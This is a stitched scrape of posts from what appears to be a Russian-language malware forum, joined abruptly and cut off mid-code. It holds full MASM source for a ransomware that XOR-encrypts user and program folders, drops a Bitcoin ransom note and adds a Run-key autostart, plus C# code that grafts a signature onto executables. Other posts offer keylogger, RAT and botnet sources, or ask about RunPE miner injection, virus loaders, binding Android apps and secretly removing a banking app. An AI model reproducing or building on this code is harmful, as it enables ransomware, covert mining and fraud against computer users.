fileStream.Seek(Convert.ToInt64(60), SeekOrigin.Begin);
byte[] array = new byte[4];
fileStream.Read(array, 0, 2);
int num = BitConverter.ToInt16(array, 0);
byte[] result;
fileStream.Seek(!bool0 ? Convert.ToInt64(num + 152) : Convert.ToInt64(num + 168), SeekOrigin.Begin);
fileStream.Read(array, 0, 4);
fileStream.Read(array, 0, 4);
int num2 = BitConverter.ToInt32(array, 0);
int value = BitConverter.ToInt32(array, 0);
fileStream.Seek(Convert.ToInt64(value), SeekOrigin.Begin);
byte[] array2 = new byte[num2 - 1 + 1 - 1 + 1];
fileStream.Read(array2, 0, num2);
result = array2;
return result;
}
private static void Save(string pathfile, int offset, int offsetX)
{
byte[] array = new byte[4];
using var fileStream = new FileStream(pathfile, FileMode.Open);
fileStream.Seek(Convert.ToInt64(60), SeekOrigin.Begin);
fileStream.Read(array, 0, 2);
int num2 = BitConverter.ToInt16(array, 0);
fileStream.Seek(Convert.ToInt64(num2 + 152), SeekOrigin.Begin); // Convert.ToInt64(num2 + 160)
fileStream.Write(BitConverter.GetBytes(offsetX), 0, 4);
fileStream.Write(BitConverter.GetBytes(offset), 0, 4);
fileStream.Flush();
}
public static void WriteSign(string savefile, string sertfile)
{
try
{
using FileStream fileStream = File.OpenRead(sertfile);
byte[] array = new byte[Convert.ToInt32(fileStream.Length - Convert.ToInt64(1)) + 1 - 1 + 1];
fileStream.Read(array, 0, Convert.ToInt32(fileStream.Length));
using FileStream fileStream2 = File.OpenRead(savefile);
byte[] array2 = new byte[Convert.ToInt32(fileStream2.Length - Convert.ToInt64(1)) + 1 - 1 + 1];
fileStream2.Read(array2, 0, Convert.ToInt32(fileStream2.Length));
int num = Convert.ToInt32(array2.Length) + Convert.ToInt32(array.Length);
var finalepath = savefile.Replace(".exe", "_signed.exe");
using (var memoryStream = new MemoryStream(new byte[num - 1 + 1 - 1 + 1], 0, num, true, true))
{
memoryStream.Write(array2, 0, Convert.ToInt32(array2.Length));
memoryStream.Write(array, 0, Convert.ToInt32(array.Length));
byte[] buffer = memoryStream.GetBuffer();
try
{
File.WriteAllBytes(finalepath, buffer);
}
catch { }
}
Save(finalepath, Convert.ToInt32(array.Length), Convert.ToInt32(array2.Length));
}
catch { }
}
}
}
Используется так:
C#:Copy to clipboard
CertSigning.WriteSign(this.PathToFileBox.Text, this.PathToSertBox.Text);
// PathToFileBox - Текстбокс где будет полный путь к файлу .exe
// PathToSertBox - Текстбокс где будет полный путь к файлу .sig ( сертификат )
Изменения, дополнения приветствуется)
Я программировал Kernel сокеты и столкнулся с проблемой того что когда я маплю
драйвер используя kdmapper всё хорошо но когда я использую свой кастомный
маппер у меня вылетает синий экран(псодит)
те кто хорошо разбираются в анализе краш дампов помогите пожалуйста
Hello, xss!
I am looking for people or a guide on how to bind android applications. Is anyone able to help me?
Пишу лоадер для вируса на C#. Хотел бы посмотреть другие исходники с инекцией в память их (функционал) если не сложно покидайте сурцов. ?
Hello my Bro's !
I am just trying to turn this .asm to .exe but I have too many error and I can't compile this code..
This code is from a Russian guy on this forum, but I think it's not working anymore.
The files name was "simple Ransomware" and it was 2 files in .asm ---> Crypt and Decrypt.
Also I post here the code I have modified, and later I post the original because I can't find it anymore, maybe the thread has been deleted ?
Thanks a lot take care my men's
Code .asm --------- Thanks Bro's if you can help me to compile this, i have tried with nasm but I have a lot of errors..
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\advapi32.lib
include \masm32\include\advapi32.inc
WinMain proto
WORD,WORD,WORD,WORD
FindMe PROTO,
PathWORD,
filterWORD
XorCrypt PROTO, lpBytes:PTR BYTE,
dwFileSizeWORD
DoWarning PROTO
.data?
fd WIN32_FIND_DATA <>
buffer db 256 dup(?)
HKey dd ?
namebuf db MAX_PATH dup(?)
hInstance HINSTANCE ?
CommandLine LPSTR ?
.data
TheString db '*',0
spec1 db "%s%s", 0
spec2 db "", 0
file_name db "Attention_WARNING_READ_ME_ACHTUNG_HOLA_YO", 0
SubKey1 db "Software\Microsoft\Windows\CurrentVersion\Run",0
MessageRans db "Hello, your important data was encrypted by a Ransomware!",
10, 13,
"I hope you understand this is not personnal, After the paiement I will
decrypt all your data. Also apologize for the inconvenient. To decrypt your
data, please send 0.07 BTC to the Bitcoin Wallet : 1488Hentai228Loli", 10,13,
"And Contact the follow mail with your paiement proof : @protonmail.com", 0
key DWORD 12345678901234567890123456789012345678901234567890
OSPath1 db "USERPROFILE", 0
Desk db "\Desktop", 0
FullPath1 db 260 dup(0)
FullPath2 db "C:\Program Files", 0
FullPath3 db "C:\Program Files (x86)", 0
OSPath4 db "APPDATA", 0
FullPath4 db 260 dup(0)
OSPath5 db "LOCALAPPDATA", 0
FullPath5 db 260 dup(0)
.code
start:
invoke GetModuleHandle, NULL
mov hInstance, eax
invoke GetCommandLine
invoke WinMain, hInstance ,NULL, CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax
WinMain proc, hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR,
CmdShowWORD
invoke GetEnvironmentVariable, addr OSPath1, addr FullPath1, 260
invoke lstrcatA, addr FullPath1, offset Desk
invoke FindMe, addr FullPath1, addr TheString
invoke FindMe, addr FullPath2, addr TheString
invoke FindMe, addr FullPath3, addr TheString
invoke GetEnvironmentVariable, addr OSPath4, addr FullPath4, 260
invoke lstrcatA, addr FullPath4, offset spec2
invoke FindMe, addr FullPath4, addr TheString
invoke GetEnvironmentVariable, addr OSPath5, addr FullPath5, 260
invoke lstrcatA, addr FullPath5, offset spec2
invoke FindMe, addr FullPath5, addr TheString
invoke DoWarning
ret
WinMain endp
XorCrypt PROC, lpBytes:PTR BYTE,
dwFileSizeWORD
cmp dwFileSize, 0
jz noXor
mov ecx, 0
mov eax, lpBytes
mov dh, 10h
mov dl, BYTE PTR [key]
@@:
add [eax+ecx], dh
xor [eax+ecx], dl
inc ecx
cmp ecx, dwFileSize
jne @b
noXor:
ret
XorCrypt ENDP
FindMe PROC,
PathWORD,
filterWORD
LOCAL PathName[256]:byte
LOCAL buffer1[256]:byte
LOCAL
hFindWORD
LOCAL
dwTempWORD
LOCAL Buffer:PTR BYTE
LOCAL hFile:PTR DWORD
invoke lstrcpy, addR PathName, Path
invoke lstrcat, addr PathName, filter
invoke FindFirstFile, addr PathName, addr fd
mov hFind, eax
.if hFind == -1
ret
.endif
.while eax > 0
invoke wsprintfA, addr buffer1, addr spec1, Path, addr fd.cFileName
cmp fd.cFileName, "."
jz nextf
test fd.dwFileAttributes, FILE_ATTRIBUTE_DIRECTORY
jz itsafile
invoke lstrcatA, addr buffer1, addr spec2
invoke FindMe,addr buffer1, filter
jmp nextf
itsafile:
; invoke MessageBoxA, 0, addr buffer1, 0, 0
invoke CreateFileA, addr buffer1, 80000000h or 40000000h, 0, 0, 3, 0, 0
.IF eax == -1
ret
.ENDIF
mov hFile, eax
invoke GetFileSize, hFile, 0
mov ebx, eax
.IF ebx>268435456
ret
.ENDIF
invoke GetProcessHeap
invoke HeapAlloc, eax, 8h, ebx
mov Buffer, eax
invoke ReadFile, hFile, Buffer, ebx, addr dwTemp, 0
.IF eax == 0
jmp EndEnc
.ENDIF
xor eax, eax
invoke XorCrypt, Buffer, ebx
mov esi, eax
mov [dwTemp], 0
invoke SetFilePointer, hFile, 0, 0, 0
invoke WriteFile, hFile, esi, ebx, addr dwTemp, 0
EndEnc:
invoke CloseHandle, hFile
invoke GetProcessHeap
invoke HeapFree, eax, 0, Buffer
;invoke MessageBox,0, addr buffer1, 0, 0
nextf:
invoke FindNextFile, hFind, addr fd
.endw
invoke FindClose,hFind
ret
FindMe endp
DoWarning PROC
LOCAL hFile:PTR DWORD
LOCAL
dwTempWORD
invoke lstrcatA, addr FullPath1, offset file_name
invoke CreateFileA, offset FullPath1, 40000000h, 0, 0, CREATE_ALWAYS, 0, 0
.IF eax == -1
ret
.ENDIF
mov hFile, eax
invoke lstrlenA, offset MessageRans
mov ebx, eax
invoke WriteFile, hFile, offset MessageRans, ebx, addr dwTemp, 0
invoke CloseHandle, hFile
invoke RegCreateKey, HKEY_CURRENT_USER,addr SubKey1, addr HKey
invoke GetModuleFileName, 0, addr namebuf, MAX_PATH
invoke RegSetValueEx, HKey, addr namebuf, 0, REG_SZ, ADDR FullPath1, eax
invoke RegCloseKey, HKey
invoke MessageBoxA, 0, offset MessageRans, 0, 00000040h
ret
DoWarning ENDP
end start
------------------------ Errors I have maybe you know that shit and how to repare..
finalrantestacompiler.asm:1: warning: label alone on a line without a colon
might be in error [-w+label-orphan]
finalrantestacompiler.asm:2: error: parser: instruction expected
finalrantestacompiler.asm:3: error: parser: instruction expected
finalrantestacompiler.asm:4: error: parser: instruction expected
finalrantestacompiler.asm:5: error: parser: instruction expected
finalrantestacompiler.asm:6: error: parser: instruction expected
finalrantestacompiler.asm:7: error: parser: instruction expected
finalrantestacompiler.asm:8: error: parser: instruction expected
finalrantestacompiler.asm:9: error: parser: instruction expected
finalrantestacompiler.asm:10: error: parser: instruction expected
finalrantestacompiler.asm:11: error: parser: instruction expected
finalrantestacompiler.asm:12: error: parser: instruction expected
finalrantestacompiler.asm:14: error: parser: instruction expected
finalrantestacompiler.asm:15: error: parser: instruction expected
finalrantestacompiler.asm:16: error: parser: instruction expected
finalrantestacompiler.asm:17: error: parser: instruction expected
finalrantestacompiler.asm:19: warning: label alone on a line without a colon
might be in error [-w+label-orphan]
finalrantestacompiler.asm:20: error: parser: instruction expected
finalrantestacompiler.asm:23: error: non-constant argument supplied to DUP
finalrantestacompiler.asm:24: error: parser: instruction expected
finalrantestacompiler.asm:25: error: parser: instruction expected
finalrantestacompiler.asm:27: warning: label alone on a line without a colon
might be in error [-w+label-orphan]
finalrantestacompiler.asm:36: error: label or instruction expected at start of
line
finalrantestacompiler.asm:38: error: parser: instruction expected
finalrantestacompiler.asm:54: warning: label alone on a line without a colon
might be in error [-w+label-orphan]
finalrantestacompiler.asm:56: error: parser: instruction expected
finalrantestacompiler.asm:58: error: parser: instruction expected
finalrantestacompiler.asm:59: error: parser: instruction expected
finalrantestacompiler.asm:60: error: parser: instruction expected
finalrantestacompiler.asm:61: error: label WinMain' inconsistently redefined finalrantestacompiler.asm:14: info: label
WinMain' originally defined here
finalrantestacompiler.asm:61: error: parser: instruction expected
finalrantestacompiler.asm:63: error: parser: instruction expected
finalrantestacompiler.asm:64: error: parser: instruction expected
finalrantestacompiler.asm:65: error: parser: instruction expected
finalrantestacompiler.asm:67: error: parser: instruction expected
finalrantestacompiler.asm:69: error: parser: instruction expected
finalrantestacompiler.asm:71: error: parser: instruction expected
finalrantestacompiler.asm:72: error: parser: instruction expected
finalrantestacompiler.asm:73: error: parser: instruction expected
finalrantestacompiler.asm:75: error: parser: instruction expected
finalrantestacompiler.asm:76: error: parser: instruction expected
finalrantestacompiler.asm:77: error: parser: instruction expected
finalrantestacompiler.asm:79: error: parser: instruction expected
finalrantestacompiler.asm:82: error: label WinMain' inconsistently redefined finalrantestacompiler.asm:61: info: label
WinMain' originally defined here
finalrantestacompiler.asm:82: error: parser: instruction expected
finalrantestacompiler.asm:84: error: label XorCrypt' inconsistently redefined finalrantestacompiler.asm:16: info: label
XorCrypt' originally defined here
finalrantestacompiler.asm:84: error: parser: instruction expected
finalrantestacompiler.asm:90: warning: PTR' is not a NASM keyword [-w+ptr] finalrantestacompiler.asm:100: error: label
XorCrypt' inconsistently
redefined
finalrantestacompiler.asm:84: info: label XorCrypt' originally defined here finalrantestacompiler.asm:100: error: parser: instruction expected finalrantestacompiler.asm:102: error: label
FindMe' inconsistently redefined
finalrantestacompiler.asm:15: info: label FindMe' originally defined here finalrantestacompiler.asm:102: error: parser: instruction expected finalrantestacompiler.asm:103: error: parser: instruction expected finalrantestacompiler.asm:104: error: parser: instruction expected finalrantestacompiler.asm:105: error: parser: instruction expected finalrantestacompiler.asm:106: error: parser: instruction expected finalrantestacompiler.asm:107: error: parser: instruction expected finalrantestacompiler.asm:108: error: parser: instruction expected finalrantestacompiler.asm:110: error: label
invoke' inconsistently redefined
finalrantestacompiler.asm:56: info: label invoke' originally defined here finalrantestacompiler.asm:110: error: parser: instruction expected finalrantestacompiler.asm:111: error: parser: instruction expected finalrantestacompiler.asm:112: error: parser: instruction expected finalrantestacompiler.asm:114: error: parser: instruction expected finalrantestacompiler.asm:116: warning: label alone on a line without a colon might be in error [-w+label-orphan] finalrantestacompiler.asm:118: error: parser: instruction expected finalrantestacompiler.asm:119: error: label
invoke' inconsistently redefined
finalrantestacompiler.asm:110: info: label invoke' originally defined here finalrantestacompiler.asm:119: error: parser: instruction expected finalrantestacompiler.asm:124: error: label
invoke' inconsistently redefined
finalrantestacompiler.asm:119: info: label invoke' originally defined here finalrantestacompiler.asm:124: error: parser: instruction expected finalrantestacompiler.asm:125: error: parser: instruction expected finalrantestacompiler.asm:130: error: label
invoke' inconsistently redefined
finalrantestacompiler.asm:124: info: label invoke' originally defined here finalrantestacompiler.asm:130: error: parser: instruction expected finalrantestacompiler.asm:131: error: parser: instruction expected finalrantestacompiler.asm:133: warning: label alone on a line without a colon might be in error [-w+label-orphan] finalrantestacompiler.asm:135: error: label
invoke' inconsistently redefined
finalrantestacompiler.asm:130: info: label invoke' originally defined here finalrantestacompiler.asm:135: error: parser: instruction expected finalrantestacompiler.asm:137: error: label
invoke.IF' inconsistently
redefined
finalrantestacompiler.asm:131: info: label invoke.IF' originally defined here finalrantestacompiler.asm:137: error: parser: instruction expected finalrantestacompiler.asm:139: warning: label alone on a line without a colon might be in error [-w+label-orphan] finalrantestacompiler.asm:139: error: label
invoke.ENDIF' inconsistently
redefined
finalrantestacompiler.asm:133: info: label invoke.ENDIF' originally defined here finalrantestacompiler.asm:140: error: label
invoke' inconsistently redefined
finalrantestacompiler.asm:135: info: label invoke' originally defined here finalrantestacompiler.asm:140: error: parser: instruction expected finalrantestacompiler.asm:141: error: parser: instruction expected finalrantestacompiler.asm:143: error: parser: instruction expected finalrantestacompiler.asm:144: error: label
invoke.IF' inconsistently
redefined
finalrantestacompiler.asm:137: info: label invoke.IF' originally defined here finalrantestacompiler.asm:144: error: parser: instruction expected finalrantestacompiler.asm:146: warning: label alone on a line without a colon might be in error [-w+label-orphan] finalrantestacompiler.asm:146: error: label
invoke.ENDIF' inconsistently
redefined
finalrantestacompiler.asm:139: info: label invoke.ENDIF' originally defined here finalrantestacompiler.asm:149: error: label
invoke' inconsistently redefined
finalrantestacompiler.asm:140: info: label invoke' originally defined here finalrantestacompiler.asm:149: error: parser: instruction expected finalrantestacompiler.asm:152: error: label
invoke' inconsistently redefined
finalrantestacompiler.asm:149: info: label invoke' originally defined here finalrantestacompiler.asm:152: error: parser: instruction expected finalrantestacompiler.asm:153: error: parser: instruction expected finalrantestacompiler.asm:155: error: parser: instruction expected finalrantestacompiler.asm:156: error: parser: instruction expected finalrantestacompiler.asm:157: error: parser: instruction expected finalrantestacompiler.asm:160: error: parser: instruction expected finalrantestacompiler.asm:161: warning: label alone on a line without a colon might be in error [-w+label-orphan] finalrantestacompiler.asm:162: error: parser: instruction expected finalrantestacompiler.asm:164: error: label
FindMe' inconsistently redefined
finalrantestacompiler.asm:102: info: label FindMe' originally defined here finalrantestacompiler.asm:164: error: parser: instruction expected finalrantestacompiler.asm:166: error: label
DoWarning' inconsistently
redefined
finalrantestacompiler.asm:17: info: label DoWarning' originally defined here finalrantestacompiler.asm:166: error: parser: instruction expected finalrantestacompiler.asm:167: error: label
LOCAL' inconsistently redefined
finalrantestacompiler.asm:103: info: label LOCAL' originally defined here finalrantestacompiler.asm:167: error: parser: instruction expected finalrantestacompiler.asm:168: error: parser: instruction expected finalrantestacompiler.asm:170: error: label
invoke' inconsistently redefined
finalrantestacompiler.asm:152: info: label invoke' originally defined here finalrantestacompiler.asm:170: error: parser: instruction expected finalrantestacompiler.asm:171: error: parser: instruction expected finalrantestacompiler.asm:172: error: label
invoke.IF' inconsistently
redefined
finalrantestacompiler.asm:144: info: label invoke.IF' originally defined here finalrantestacompiler.asm:172: error: parser: instruction expected finalrantestacompiler.asm:174: warning: label alone on a line without a colon might be in error [-w+label-orphan] finalrantestacompiler.asm:174: error: label
invoke.ENDIF' inconsistently
redefined
finalrantestacompiler.asm:146: info: label invoke.ENDIF' originally defined here finalrantestacompiler.asm:176: error: label
invoke' inconsistently redefined
finalrantestacompiler.asm:170: info: label invoke' originally defined here finalrantestacompiler.asm:176: error: parser: instruction expected finalrantestacompiler.asm:178: error: label
invoke' inconsistently redefined
finalrantestacompiler.asm:176: info: label invoke' originally defined here finalrantestacompiler.asm:178: error: parser: instruction expected finalrantestacompiler.asm:179: error: parser: instruction expected finalrantestacompiler.asm:181: error: parser: instruction expected finalrantestacompiler.asm:182: error: parser: instruction expected finalrantestacompiler.asm:183: error: parser: instruction expected finalrantestacompiler.asm:184: error: parser: instruction expected finalrantestacompiler.asm:186: error: parser: instruction expected finalrantestacompiler.asm:188: error: label
DoWarning' inconsistently
redefined
finalrantestacompiler.asm:166: info: label `DoWarning' originally defined here
finalrantestacompiler.asm:188: error: parser: instruction expected
finalrantestacompiler.asm:190: error: parser: instruction expected
Здравствуйте всем! Нашел троян/вирус, который выполняет определенные действия и отправляет данные боту в телеграм. Смог достать api токен этого бота телеграмм и есть id чата, куда отправляются сообщения. Возможно ли прочитывать то, что отправляет боту вирус?
Нужно реализовать эффект падающего снега на моей ImGui меню.
Hello Everyone
THESE ARE C ++ & VB6 SOURCES - COMPILE IT AND ENJOY!
[LIKES = 2] https://www.up-4ever.org/x25alkmltfeo [/ LIKES]
SIZE == 329 MB
SOURCE CODE FOR SOME OF THEM LIKE
(1) keyloggers
(2) crypters
(3) botnets
(4) binders
(5) rats
LIKES
?
Я где то видел реализацию и потерял не могу нагуглить. И вроде на этом форуме
видал.
При старте проекта .sln стартанет твой exe типо макроса в ворде. Знаю что есть
выполнение до/после сборки но это не то что мне надо.
Несколько месяцев назад я создал тему по поводу runpe инжекта x32->x64 майнера xmrig. Решение в итоге оказалось очень нестабильным (из-за отсутствия работы с релоками и tls callback). Вот только что добавил поддержку релоков, протестил на калькуляторе (заинжектил 64-битный calc.exe в 64-битный Process Hacker) и всё сработало на ура. Но ни у calc.exe, ни у process hacker'а не было tls callback'ов. Так вот вопрос: как вызвать эти зло*бучие колбэки? В который раз загуглив доку в мсдн по pe формату я посмотрел что колбэк имеет следующий формат:
C:Copy to clipboard
typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
PVOID DllHandle,
DWORD Reason,
PVOID Reserved
);
Как вызвать его в другом процессе через RtlCreateUserThread?
Немного отходя от темы, хочу упомянуть, что большинство кодеров .NET Miner'ов так и вовсе не заморачиваются ни с колбэками, ни с релоками, тупо анмап+запись+NtSetContextThread. И вроде как и никто не жалуется особо. Как пример можно рассмотреть майнеры от UnamSanctam на github.
Небольшой модуль для замены GetModuleHandle/GetProcAddress
Поддерживает x32/x64/AnyCpu
Требует C# 9.0
Компилится под 2.0-4.8.
Code:Copy to clipboard
public unsafe class NativeModules
{
public static readonly delegate*<uint, void*> NativePointer;
static NativeModules()
{
NativePointer = &NativeFunction;
var memory = (byte*)NativePointer;
if (IntPtr.Size == 4)
*memory = 0x64;
else
*(short*)memory++ = 0x4865;
*(int*)++memory = 0x00C3018B;
}
private static void* NativeFunction(uint offset)
{
return new IntPtr(offset).ToPointer();
}
private static IntPtr FindInList(void** list, int index, string module)
{
var entryOffset = index * IntPtr.Size;
var currentList = &list[index];
for (var listEntry = *currentList; listEntry != currentList; listEntry = *(void**) listEntry)
{
var entry = (void**)((byte*) listEntry - entryOffset);
var str = new string((char*)entry[12], 0, *(ushort*)&entry[11] / 2);
if (string.Compare(str, module, StringComparison.InvariantCultureIgnoreCase) == 0)
return new IntPtr(entry[6]);
}
return IntPtr.Zero;
}
public static IntPtr FindModule(string name)
{
var list = IntPtr.Size == 4
? &((void***) NativePointer(0x30))[3][3]
: &((void***) NativePointer(0x60))[3][2];
if (name == null)
return new IntPtr(((void**)((byte*)list[2] - 2 * IntPtr.Size))[6]);
for (var i = 0; i < 6; i+=2)
{
var module = FindInList(list, i, name);
if (module != IntPtr.Zero)
return module;
}
return IntPtr.Zero;
}
public static IntPtr FindProcAddress(IntPtr handle, string procName)
{
if (handle == IntPtr.Zero || procName == null) return IntPtr.Zero;
var image = (byte*) handle.ToPointer();
var exportDir = image + *(int*) (image + *(int*) (image + 60) + (IntPtr.Size == 4 ? 120 : 136));
var names = image + *(int*) (exportDir + 32);
var namesCount = *(int*) (exportDir + 24);
for (int i = 0, offset = 0; i < namesCount; i++, offset += 4)
{
if (string.Compare(new string((sbyte*) (image + *(int*) (names + offset))), procName,
StringComparison.InvariantCultureIgnoreCase) == 0)
return new IntPtr(image + *(int*) (image + *(int*) (exportDir + 28) +
(*(short*) (image + *(int*) (exportDir + 36) + (i << 1)) << 2)));
}
return IntPtr.Zero;
}
}
#English:
Hello, I am currently attempting to obfuscate my strings which are embedded in
my code. I've been reading up on this however I've found very little when it
comes to hiding strings at compile time for C. My goal is to take something
like:
Code:Copy to clipboard
#define string "test"
and have it be hidden from the text editor, I found a few libraries already from a google search: [https://www.blackhat.com/docs/eu-14...amming-Applied- To-software-Obfuscation- wp.pdf](https://www.blackhat.com/docs/eu-14/materials/eu-14-Andrivet-C-plus- plus11-Metaprogramming-Applied-To-software-Obfuscation-wp.pdf)
](https://github.com/qis/xorstr/blob/master/include/xorstr.h)
A simple constexpr string literal obfuscator. Contribute to qis/xorstr development by creating an account on GitHub.
github.com
](https://github.com/fritzone/obfy)
A tiny C++ obfuscation framework. Contribute to fritzone/obfy development by creating an account on GitHub.
github.com
however many of these include to many dependencies or are C++ based. What single C headers do you use for this?
pointing me even in the right direction would be appreciated
#Russian:
Здравствуйте, В настоящее время я пытаюсь запутать свои строки, которые
встроены в мой код. Я читал об этом, однако я нашел очень мало, когда дело
доходит до скрытия строк во время компиляции для C. моя цель состоит в том,
чтобы взять что-то вроде:
Code:Copy to clipboard
#define string "test"
и пусть он будет скрыт от текстового редактора, я уже нашел несколько библиотек из поиска google: [https://www.blackhat.com/docs/eu-14...amming- Applied-To-software-Obfuscation- wp.pdf](https://www.blackhat.com/docs/eu-14/materials/eu-14-Andrivet-C-plus- plus11-Metaprogramming-Applied-To-software-Obfuscation-wp.pdf)
](https://github.com/qis/xorstr/blob/master/include/xorstr.h)
A simple constexpr string literal obfuscator. Contribute to qis/xorstr development by creating an account on GitHub.
github.com
](https://github.com/fritzone/obfy)
A tiny C++ obfuscation framework. Contribute to fritzone/obfy development by creating an account on GitHub.
github.com
однако многие из них относятся ко многим зависимостям или основаны на C++. Какие одиночные заголовки C вы используете?
было бы очень полезно указать мне даже правильное направление
Всем доброго времени суток, кто знает можно ли удалить приложение на андроиде через shell или еще как без ведома пользователя, потому что через adb на виртуалке удаляет с правами юзера, а вот само приложение не может удалить, текст следуйщий
Как только и не пробовал, удалять скрывать данными командами
pm uninstall ru.sberbankmobile
pm uninstall --user 0 ru.sberbankmobile
pm disable ru.sberbankmobile
pm hide ru.sberbankmobile
Если кто знает способы как убрать приложение средствами Java или Shell, помогите буду благодарен))
Пишу модуль для многопоточного чтения/записи файлов с использованием портов
завершения.
В качестве привязок можно использовать как CreateNamedPipeW, так и
CreateFileW.
Что из этого на ваш взгляд предпочтительнее?
Всем привет! Часто вижу мнение людей что C# плох в малварь кодинге. Чем он плох? То что он не нативный? То что плохо криптуется? То что он медленнее чем тот же си или плюсы? То что размер на выходе больше чем у нативных языков? То что детектов больше? Объясните подробнее пожалуйста.
Разве нельзя написать стилер на C#, который смог бы конкурировать со стилерами на си и плюсах?
пробовал через wcscmp не получается
пробовал через преобразование wchar_t в UNICODE_STRING и там уже через
RtlCompareUnicodeString не получается
C:Copy to clipboard
HANDLE GetProcessPid(wchar_t* name)
{
PSYSTEM_PROCESS_INFO pInfo = (PSYSTEM_PROCESS_INFO)NQSI(SystemProcessInformation), pInfoCur = pInfo;
pInfoCur->UniqueProcessId;
NTSTATUS status = STATUS_UNSUCCESSFUL;
HANDLE pid;
UNICODE_STRING uname1;
UNICODE_STRING uname2;
//Sleep(10000);
RtlInitUnicodeString(&uname1, name);
//DbgPrint("1.");
while (TRUE)
{
const wchar_t* ProcessName = pInfoCur->ImageName.Buffer;
if (MmIsAddressValid((PVOID)ProcessName) == TRUE) {
//Sleep(10000);
RtlInitUnicodeString(&uname2, ProcessName);
//DbgPrint("2.");
DbgPrint("Process Name: %ws\n", ProcessName);
//Sleep(10000);
if (RtlCompareUnicodeString(&uname1, &uname2, TRUE) == 0)
{
DbgPrint("3.");
Sleep(10000);
pid = pInfoCur->UniqueProcessId;
KFree(pInfo);
return pid;
}
else pInfoCur = (PSYSTEM_PROCESS_INFO)((ULONG64)pInfoCur + pInfoCur->NextEntryOffset);
}
else pInfoCur = (PSYSTEM_PROCESS_INFO)((ULONG64)pInfoCur + pInfoCur->NextEntryOffset);
}
}
хотя строку находит
Всем привет!
В этой теме Вы увидите как можно работать с библиотекой
Mono.Cecil. - Данная библиотека работает только с
исполняемыми файлами (.exe, .dll)
Установить данную библиотеку можно через
Nuget
Spoiler: Информация о библиотеке: Mono.Cecil
Mono.Cecil — это библиотека, написанная на C#, которая предоставляет полную и
точную, полнофункциональную библиотеку общего назначения для создания и
проверки программ и библиотек в форме ECMA CIL.
Его можно использовать для различных задач, в том числе:
- Генерация сборок и модулей с нуля
- Генерация кода или данных, которые можно вставить в существующие сборки
- Проверка, анализ и модификация существующих сборок
- Декомпиляция существующих сборок и.т.д
Spoiler: Чем эта библиотека отличается от библиотеки dnlib ?
DNlib и Mono.Cecil — это библиотеки, используемые для модификации сборок .NET.
Однако DNlib более легкий и предоставляет больше возможностей для модификации
сборок .NET, чем Mono.Cecil.
В частности, DNlib имеет функции для добавления, удаления и редактирования
метаданных, а также для сжатия, шифрования и подписи.
Он также поддерживает .NET Core, .NET Standard и .NET Framework, тогда как
Mono.Cecil имеет ограниченную поддержку только .NET Framework.
Spoiler: Как загрузить сборку через библиотеку Mono.Cecil?
Демонстрирую два варианта загрузки, 1- через ресурсы, 2-ой локально.
C#:Copy to clipboard
// Сначала загружаем в память файл из ресурсов StubDnlib - это .exe файл
using System.IO.MemoryStream memoryStream = new(Properties.Resources.StubDnlib);
// Читаем сборку из памяти
using AssemblyDefinition assembly = AssemblyDefinition.ReadAssembly(memoryStream, new ReaderParameters(ReadingMode.Immediate));
C#:Copy to clipboard
// Путь до файла
string path = @"D:\Projects\MonoProject\bin\Debug\myFile.exe";
// Читаем сборку
using AssemblyDefinition assembly = AssemblyDefinition.ReadAssembly(path, new ReaderParameters(ReadingMode.Immediate));
Описание классов и методов и.т.п:
AssemblyDefinition
— это класс в библиотеке Mono.Cecil
, который
используется для представления сборки .NET.
Он содержит информацию о сборке, такую как имя, версия и токен открытого
ключа, а также список модулей и ссылки на другие сборки.
Он также содержит корень древовидной структуры, содержащей все типы и
элементы, определенные в сборке, а также методы, поля и свойства этих типов.
Этот класс также позволяет изменять содержимое сборки, предоставляя методы для
добавления, удаления и замены типов, элементов и ссылок.
AssemblyDefinition.ReadAssembly()
- используется для загрузки сборки из
файла.
ReaderParameters
- Этот класс используется для предоставления внешней сборке
набора параметров, используемых библиотекой Mono.Cecil
для чтения сборки.
ReadingMode.Immediate
- этот параметр используется, когда требуется
немедленный доступ к содержимому сборки.
В этом режиме библиотека Mono.Cecil
будет читать сборку, как только ей будут
переданы параметры, что обеспечивает быстрый доступ к содержимому.
В классе AssemblyDefinition
так же существует ещё один метод
CreateAssembly
.
AssemblyDefinition.CreateAssembly
- это метод, который используется для
создания новой сборки.
Он принимает два параметра: имя и путь, по которому необходимо сохранить
созданную сборку, а также принимает параметр для настройки атрибутов сборки и
других параметров.
После создания сборки вы можете добавлять модули и типы в эту сборку,
используя различные методы библиотеки.
Spoiler: Замена версии .Net Framework'a
C#:Copy to clipboard
// Читаем сборку
using AssemblyDefinition assembly = AssemblyDefinition.ReadAssembly(memoryStream, new ReaderParameters(ReadingMode.Immediate));
// Проверяем что в сборке есть атрибуты
if (assembly.CustomAttributes.Count > 0)
{
// Проходимся по циклу и ищим нужный нам атрибут, в данном случае TargetFrameworkAttribute
foreach (CustomAttribute attribute in assembly.CustomAttributes.Where(attribute => attribute.AttributeType.Name == "TargetFrameworkAttribute"))
{
// Заменяем значение атрибута на новую версию .NetFramework
attribute.ConstructorArguments[0] = new CustomAttributeArgument(assembly.MainModule.TypeSystem.String, ".NETFramework,Version=v4.6.2"); // обязательно: .NETFramework,Version=vВашаВерсия
assembly.EntryPoint.Module.RuntimeVersion = "v4.0.30319"; // "v4.0.30319"; // "v4.8.3928.0"
assembly.EntryPoint.Module.Runtime = TargetRuntime.Net_4_0; // Максимальная Net_4_0
}
}
или можно по аналогичной схеме сделать так:
C#:Copy to clipboard
// Перебираем все атрибуты
foreach (CustomAttribute list in assembly.CustomAttributes)
{
/* Вывести список атрибутов: $"{list.AttributeType.Name}\r\n" */
// Находим имя атрибута
if (list.AttributeType.Name.Contains("TargetFrameworkAttribute"))
{
// Заменяем на нашу переменную типа String
// через ветку реестра: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP - смотрим доступные версии .NetFramework, в случае не правильной версии, будет ошибка с уведомлением об установке новой версии пакета .NetFramework'a
list.ConstructorArguments[0] = new CustomAttributeArgument(assembly.MainModule.TypeSystem.String, ".NETFramework,Version=v4.6.2");
